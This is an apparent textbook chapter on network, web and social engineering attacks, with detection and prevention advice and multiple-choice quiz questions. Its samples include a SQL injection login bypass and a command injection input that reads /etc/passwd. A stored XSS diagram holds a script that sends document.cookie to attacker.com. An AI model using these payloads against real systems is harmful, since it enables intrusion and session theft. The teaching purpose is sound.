Chapter 4: Network, Web, and Social Engineering Attacks

Learning Objectives

Section 1: Network Protocol Attacks

Network protocols were largely designed for reliability and interoperability, not security. Attackers exploit the implicit trust baked into ARP, DNS, VLAN tagging, and BGP to redirect traffic, impersonate hosts, or manipulate routing at global scale.

1.1 ARP Spoofing

ARP maps IP addresses to MAC addresses on a local segment. Because ARP has no authentication, any host can broadcast a forged reply claiming to own any IP, and neighboring devices will update their caches.

  1. Host A wants to reach the gateway (192.168.1.1) and has its MAC cached.
  2. Attacker broadcasts: "192.168.1.1 is at ATTACKER_MAC" — a gratuitous ARP reply.
  3. Host A updates its cache — all gateway-bound traffic now flows to the attacker.
  4. Attacker forwards traffic onward (MitM) or drops it (DoS).

Detection: Duplicate IP-to-MAC entries in ARP tables; sudden MAC changes in switch CAM tables; arpwatch/XArp alerts on gratuitous replies.

Prevention: Dynamic ARP Inspection (DAI) validates ARP packets against DHCP snooping tables; static ARP entries for critical hosts; 802.1X port authentication.

ARP Spoofing — Man-in-the-Middle Redirect Host A (Victim) 192.168.1.10 Attacker AA:BB:CC:DD:EE:FF 192.168.1.50 Gateway 192.168.1.1 GW_MAC Waiting... "192.168.1.1 → ATTACKER_MAC" "HOST_A_IP → ATTACKER_MAC" Traffic (→GW) Forwarded INTERCEPT / MODIFY Step 1: Attacker sends forged ARP replies to both victim and gateway Step 2: Poisoned caches cause all traffic to flow through attacker Step 3: Attacker intercepts, modifies, or forwards — invisible to both parties

1.2 DNS Cache Poisoning

DNS resolvers cache responses for performance. Cache poisoning injects fraudulent records so queries for a legitimate domain return an attacker-controlled IP. The classic Kaminsky attack raced forged responses against the legitimate authoritative server, exploiting predictable transaction IDs.

Consequences: Users redirected to phishing clones; MX records poisoned to intercept email; certificate validation undermined.

Prevention: DNSSEC (signs records cryptographically); DNS over HTTPS (DoH) / DNS over TLS (DoT); randomized source ports and transaction IDs; short TTLs on critical records.

1.3 VLAN Hopping

TechniqueMechanismPrerequisite
Switch SpoofingAttacker's NIC negotiates a trunk link via DTP, gaining access to all VLANsPort in dynamic desirable/auto mode
Double TaggingTwo 802.1Q tags; outer tag stripped by first switch, inner tag routes to target VLANAttacker on native VLAN; native VLAN on trunk

Prevention: Disable DTP (switchport nonegotiate); change native VLAN to unused ID (not VLAN 1); prune unused VLANs from trunks.

1.4 BGP Hijacking

BGP has no cryptographic authentication in the base protocol. A malicious AS can announce more-specific prefixes to divert global traffic. The 2008 Pakistan Telecom/YouTube incident accidentally redirected YouTube globally for two hours. The 2019 Rostelecom incident briefly redirected financial institution traffic.

Prevention: RPKI (cryptographic Route Origin Authorizations); BGPsec (signs full AS path); BGPmon anomaly monitoring.

sequenceDiagram participant V as Host A (Victim) participant A as Attacker participant G as Gateway (192.168.1.1) Note over V,G: Normal state — Host A cache: 192.168.1.1 → GW_MAC A->>V: Gratuitous ARP Reply "192.168.1.1 is at ATTACKER_MAC" A->>G: Gratuitous ARP Reply "HOST_A_IP is at ATTACKER_MAC" Note over V: ARP cache poisoned V->>A: Traffic destined for Gateway A->>G: Attacker forwards (MitM) G->>A: Response destined for Host A A->>V: Attacker forwards (MitM) Note over A: Attacker inspects/modifies all traffic

Key Points — Network Protocol Attacks

Check Your Knowledge — Section 1

1. Which mechanism prevents ARP spoofing by validating ARP packets against a DHCP snooping binding table?

A. 802.1X port authentication
B. Dynamic ARP Inspection (DAI)
C. DNSSEC
D. BGPsec

2. An attacker sends a frame with two 802.1Q tags to reach a VLAN they are not authorized on. This technique is called:

A. Switch Spoofing
B. ARP flooding
C. Double Tagging
D. Trunk poisoning

3. The 2008 Pakistan Telecom incident is a real-world example of which attack type?

A. DNS Cache Poisoning
B. BGP Hijacking
C. ARP Spoofing
D. VLAN hopping via DTP

Section 2: Denial of Service Attacks

A DoS attack makes a resource unavailable by overwhelming it with requests, exhausting protocol state, or consuming computational capacity. When originating from many distributed sources (a botnet), it becomes a DDoS attack.

DoS vs. DDoS

AttributeDoSDDoS
Source countSingle hostHundreds to millions of bots
Bandwidth capacityLimited by attacker's uplinkCan reach terabits per second
Filtering difficultyBlock attacker's IPMust filter at upstream providers
TraceabilityEasier to attributeSpoofed IPs, distributed origin

Attack Categories

Volumetric Attacks (Layer 3/4 — Bandwidth Exhaustion)

Protocol Attacks (Layer 3/4 — State Table Exhaustion)

Application-Layer Attacks (Layer 7 — Resource Exhaustion)

SYN Flood — Half-Open Connection Exhaustion Attacker Spoofed IPs Server TCP State Table Half-open connection slots (fills up over time): [ empty ] [ empty ] [ empty ] [ empty ] [ empty ] [ empty ] Legit User Real IP SYN packets flooding in (spoofed source IPs) Legitimate SYN CONNECTION REFUSED Each SYN allocates a TCB (Transmission Control Block) — waits 75s for ACK Mitigation: SYN Cookies encode state in SYN-ACK sequence number (no TCB allocated) Without SYN Cookies Server: SYN → allocate TCB 100k SYNs → 100k TCBs State table FULL → Drop legit With SYN Cookies Server: SYN → encode in SEQ# No TCB until ACK received Flood absorbed — legit OK

DDoS Mitigation Strategies

StrategyMechanismBest Against
BGP BlackholingAnnounces victim IP to null route upstream; traffic discarded at ISPVolumetric (uptime less critical)
Rate LimitingCaps connections/requests per source IP/secondSYN floods, HTTP floods
Traffic ScrubbingRoutes through mitigation centers; only clean traffic forwardedAll categories; absorbs Tbps
SYN CookiesEncodes state in SYN-ACK sequence number; no TCB until ACK receivedSYN floods specifically
Anycast CDNDistributes target address globally; attack traffic spread across PoPsVolumetric; effective for DNS/HTTP
flowchart TD DDoS["DDoS Attack"] DDoS --> VOL["Volumetric (L3/4 — Bandwidth)\nMeasured in Gbps/Mpps"] DDoS --> PROTO["Protocol (L3/4 — State Table)\nMeasured in PPS"] DDoS --> APP["Application (L7 — Resources)\nMeasured in RPS"] VOL --> V1["UDP Flood"] VOL --> V2["ICMP Smurf Flood"] VOL --> V3["Amplification\nDNS×179, NTP×556, Memcached×51000"] PROTO --> P1["SYN Flood\nhalf-open connection exhaustion"] PROTO --> P2["ACK/RST Flood\nstateful device lookup exhaustion"] APP --> A1["HTTP Flood"] APP --> A2["Slowloris\nslow partial HTTP headers"] APP --> A3["ReDoS\nregex catastrophic backtracking"]

Key Points — Denial of Service Attacks

Check Your Knowledge — Section 2

4. A SYN flood attack is most accurately classified as which type of DDoS?

A. Volumetric — Bandwidth Exhaustion
B. Application-Layer — Resource Exhaustion
C. Protocol — State Table Exhaustion
D. Amplification — Reflection Attack

5. Which mitigation technique encodes TCP connection state in the SYN-ACK's sequence number to prevent state table exhaustion?

A. Traffic Scrubbing
B. BGP Blackholing
C. SYN Cookies
D. Anycast CDN

6. Memcached UDP is notable in DDoS amplification because its amplification factor can reach approximately:

A. 30×
B. 179×
C. 556×
D. 51,000×

Section 3: Man-in-the-Middle and Interception Attacks

MitM attacks position the attacker between two communicating parties so all traffic flows through them. The victim believes they are communicating directly with the legitimate peer.

3.1 ARP-Based MitM

ARP spoofing poisons both the victim's ARP cache (gateway IP → attacker MAC) and the gateway's cache (victim IP → attacker MAC). With IP forwarding enabled on the attacker's system, traffic relays transparently while being inspected or modified.

3.2 SSL Stripping

SSL stripping downgrades an HTTPS connection to HTTP, allowing the attacker (already in MitM position) to intercept plaintext traffic even when the server supports TLS.

  1. Victim's browser requests http://bank.example.com
  2. Attacker intercepts the HTTP request
  3. Attacker establishes a legitimate HTTPS connection to the server
  4. Attacker serves victim an HTTP version, replacing all https:// links with http://
  5. Victim communicates in plaintext to the attacker — no obvious browser warning

Prevention: HSTS instructs browsers to always use HTTPS for a domain; HSTS Preloading embeds the domain in browser preload lists before first connection; 301 redirects with HSTS headers.

sequenceDiagram participant B as Victim Browser participant A as Attacker (MitM) participant S as Legitimate Server (HTTPS) B->>A: HTTP GET http://bank.example.com Note over A: Intercepts HTTP request A->>S: HTTPS GET https://bank.example.com S-->>A: HTTPS Response (encrypted TLS) Note over A: Decrypts, replaces https:// with http:// A-->>B: HTTP Response (plaintext) — links downgraded B->>A: HTTP POST credentials in PLAINTEXT Note over A: Credentials captured! A->>S: HTTPS POST forwarded Note over B: No padlock. No warning. Victim unaware.

3.3 Session Hijacking

MethodDescription
Cookie theft via XSSMalicious script reads document.cookie and exfiltrates tokens
Network sniffingIntercepts unencrypted cookies on HTTP or after SSL stripping
Predictable session IDsGuesses or brute-forces sequentially generated tokens
Session fixationForces victim to use an attacker-chosen session ID before authentication

Prevention: HttpOnly (prevents JS access) and Secure (HTTPS only) cookie flags; SameSite=Strict to prevent CSRF-assisted hijacking; regenerate session tokens on privilege escalation; short timeouts.

Key Points — MitM and Interception

Check Your Knowledge — Section 3

7. SSL stripping attacks are most effectively prevented by which mechanism?

A. TLS 1.3 enforcement on the server
B. HTTP Strict Transport Security (HSTS)
C. IPsec tunnel between client and server
D. Certificate pinning in the web server config

8. Which cookie attribute prevents a session token from being accessed by JavaScript running in the browser?

A. Secure
B. SameSite=Strict
C. HttpOnly
D. Domain=.example.com

Section 4: Web Application Attacks

Web applications represent one of the largest attack surfaces in modern IT. The OWASP Top 10 provides a consensus ranking of the most critical risks. Injection vulnerabilities (A03) have consistently ranked at the top.

4.1 SQL Injection (SQLi)

SQLi occurs when untrusted input is incorporated into a database query without sanitization, letting an attacker alter query logic.

A vulnerable login query:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

With input ' OR 1=1 -- as the username:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'anything';

1=1 is always true; -- comments out the password check. Returns all users — typically grants admin access.

TypeDescriptionExample
In-band (Classic)Results returned in application responseError-based, union-based
BlindInferred from true/false behavior or timingBoolean-based, time-based (SLEEP())
Out-of-bandData exfiltrated via alternate channelDNS lookups, xp_cmdshell

Prevention: Parameterized queries/prepared statements (single most effective control); input validation; least-privilege DB accounts; WAF as defense-in-depth.

# Vulnerable
cursor.execute("SELECT * FROM users WHERE id = " + user_input)

# Safe (parameterized)
cursor.execute("SELECT * FROM users WHERE id = ?", (user_input,))

4.2 Command Injection

User-supplied input passed unsanitized to a system shell allows execution of arbitrary OS commands with the web server's privileges.

# Vulnerable PHP — ping tool
$host = $_GET['host'];
system("ping -c 1 " . $host);

# Attacker input: 127.0.0.1; cat /etc/passwd
# Resulting command: ping -c 1 127.0.0.1; cat /etc/passwd

Common chaining operators: ; (always), && (if first succeeds), || (if first fails), $() (command substitution).

Prevention: Avoid shell calls entirely; use language-native libraries; if unavoidable use shell=False parameterized APIs; whitelist input characters; least-privileged web server account.

4.3 Cross-Site Scripting (XSS)

TypePersistenceAttack Vector
ReflectedNone — in URL paramCrafted link sent to victim; search page echoes param
StoredSaved in DBAny user viewing content is attacked; forum post with script
DOM-BasedNone — client-side onlyVulnerable JS reads location.hash, writes to innerHTML

Prevention: Output encoding (HTML-encode all user data before rendering); Content Security Policy (CSP) blocks inline script execution; HttpOnly cookies prevent theft; avoid innerHTML/eval() — use textContent.

Stored XSS — Cookie Theft Flow Attacker attacker.com Vuln Web App forum.example.com Victim Browser session cookie POST forum comment <script>fetch('http://attacker.com/steal?c='+document.cookie)</script> Malicious script stored in database — served to all future visitors GET forum page Response includes malicious script Browser executes script document.cookie = "session=abc123" fetch(attacker.com/steal?c=abc123) Cookie exfiltrated to attacker! Replay stolen cookie Session Hijacked! Attacker authenticated as victim — no password needed Defenses HttpOnly cookie flag (blocks document.cookie access) | CSP (blocks inline scripts) Output encoding: < → &lt; prevents script injection | Avoid innerHTML

4.4 OWASP Top 10 Overview

RankCategoryRelationship to This Chapter
A01Broken Access ControlSession hijacking, privilege escalation
A02Cryptographic FailuresSSL stripping, weak session tokens
A03InjectionSQL injection, command injection, XSS
A04Insecure DesignArchitectural flaws enabling MitM, logic bypass
A05Security MisconfigurationVLAN misconfig, open DNS resolvers
A06Vulnerable/Outdated ComponentsLibraries with known SQLi/XSS vulnerabilities
A07Identification/Authentication FailuresSession fixation, weak credential storage
A08Software/Data Integrity FailuresUnsigned software updates, CI/CD attacks
A09Security Logging/Monitoring FailuresInability to detect injection or DoS events
A10Server-Side Request Forgery (SSRF)Internal network probing via web application

Key Points — Web Application Attacks

Check Your Knowledge — Section 4

9. An attacker enters ' OR 1=1 -- into a login form. Which attack is this?

A. Command injection
B. Reflected XSS
C. SQL injection — authentication bypass
D. Session fixation

10. Which XSS type persists in the database and executes for every user who views the infected content?

A. Reflected XSS
B. DOM-Based XSS
C. Stored (Persistent) XSS
D. Out-of-band XSS

11. Under OWASP Top 10 2021/2025, SQL injection, command injection, and XSS are grouped under:

A. A01: Broken Access Control
B. A03: Injection
C. A07: Identification Failures
D. A02: Cryptographic Failures

Section 5: Social Engineering and AI-Enhanced Attacks

Technical defenses can block most automated exploits, which is precisely why adversaries target the human layer. Generative AI has dramatically lowered the skill barrier and raised the realism ceiling for social engineering attacks.

5.1 Phishing Attack Taxonomy

VariantTargetChannelDistinguishing Feature
PhishingMass audienceEmailGeneric lure (bank, shipping, prize)
Spear phishingSpecific individual/orgEmailPersonalized using OSINT on target
WhalingC-suite executivesEmailHigh-value lure (legal, regulatory, board)
VishingIndividualVoice callImpersonates IT support, IRS, bank
SmishingIndividualSMSFake delivery notification, 2FA codes
QuishingIndividualQR codeBypasses URL scanners

5.2 Traditional Social Engineering Vectors

5.3 Generative AI and the New Attack Landscape

As of 2024-2025, 82.6% of phishing emails are AI-influenced, generating contextually accurate, grammatically perfect messages tailored to the recipient's industry, role, and recent activities scraped from LinkedIn, GitHub, and press releases. Traditional phishing tell-tales (grammar errors, generic salutations) have been eliminated.

AI voice cloning statistics (2024-2025):

Hong Kong CFO incident (2024): An employee attended a video conference with apparent colleagues including the CFO — all were AI-generated deepfake avatars. The employee authorized a ~$25 million USD wire transfer, believing the request was legitimate. Deepfakes have reached quality sufficient to deceive trained professionals in real-time video contexts.

5.4 AI-Enhanced Attack Patterns

PatternDescription
Help desk impersonationCloned voice calls employee posing as IT support, requests password reset or MFA change
Executive fraud (BEC 2.0)Cloned executive voice or deepfake video authorizes fraudulent financial transaction
AI spear phishingAI scrapes LinkedIn/GitHub/corporate sites; generates hyper-personalized email
Biometric bypassDeepfake video/audio defeats facial recognition or voice auth in KYC processes
Hybrid multi-channelAI email followed by voice call to "verify" — mutual reinforcement lowers suspicion

5.5 Detection and Awareness Strategies

Technical controls: STIR/SHAKEN (cryptographic caller ID signing); liveness detection (randomized challenge for biometrics); AI-based email analysis; DMARC/DKIM/SPF (prevent domain spoofing).

Procedural controls: Out-of-band verification for any high-risk request using a separately established trusted channel; pre-arranged code words for executive/finance teams; callback procedures using independently looked-up numbers.

Awareness training updates for AI era:

  1. AI eliminates grammar/spelling as phishing indicators — train employees not to rely on these
  2. Demonstrate voice-cloning examples so employees understand the realism achievable
  3. Train verification procedures for urgent, out-of-policy financial or access requests
  4. Conduct simulated AI phishing campaigns to measure resilience
  5. Establish a "verification culture" where out-of-band confirmation is normalized and rewarded
flowchart LR subgraph RECON["1 — Reconnaissance"] O1["Scrape LinkedIn, GitHub\npress releases"] O2["Harvest voice samples\n(YouTube, earnings calls)"] O3["Identify role\nrelationships, org structure"] end subgraph GENERATE["2 — AI Generation"] G1["LLM generates\nhyper-personalized email"] G2["Voice synthesis clones\nexecutive voice (95% accuracy)"] G3["Deepfake video avatar\nof colleague/CFO"] end subgraph DELIVER["3 — Delivery"] D1["Phishing email\nwith malicious link"] D2["AI vishing call\nfor verification"] D3["Deepfake video call\nauthorizes wire transfer"] end subgraph RESULT["4 — Outcome"] R1["Credential theft"] R2["MFA bypass"] R3["Fraudulent transaction\n$25M avg"] end RECON --> GENERATE GENERATE --> DELIVER O1 --> G1 O2 --> G2 G1 --> D1 G2 --> D2 G3 --> D3 D1 --> R1 D2 --> R2 D3 --> R3

Key Points — Social Engineering and AI-Enhanced Attacks

Final Review — All Sections

12. Which phishing variant specifically targets C-suite executives with high-value lures such as legal or regulatory communications?

A. Spear phishing
B. Smishing
C. Whaling
D. Quishing

13. According to 2024-2025 statistics, AI-powered vishing attacks surged approximately how much year-over-year?

A. 82%
B. 179%
C. 442%
D. 1,600%

14. The Hong Kong CFO deepfake incident (2024) is best classified as which attack pattern?

A. Help desk impersonation via vishing
B. Watering hole attack
C. Executive fraud (BEC 2.0) via deepfake video call
D. AI spear phishing email with malicious attachment

15. Which standard cryptographically signs caller ID at the originating carrier to help detect AI-spoofed vishing calls?

A. DMARC/DKIM/SPF
B. STIR/SHAKEN
C. HSTS Preloading
D. RPKI

Your Progress

Answer Explanations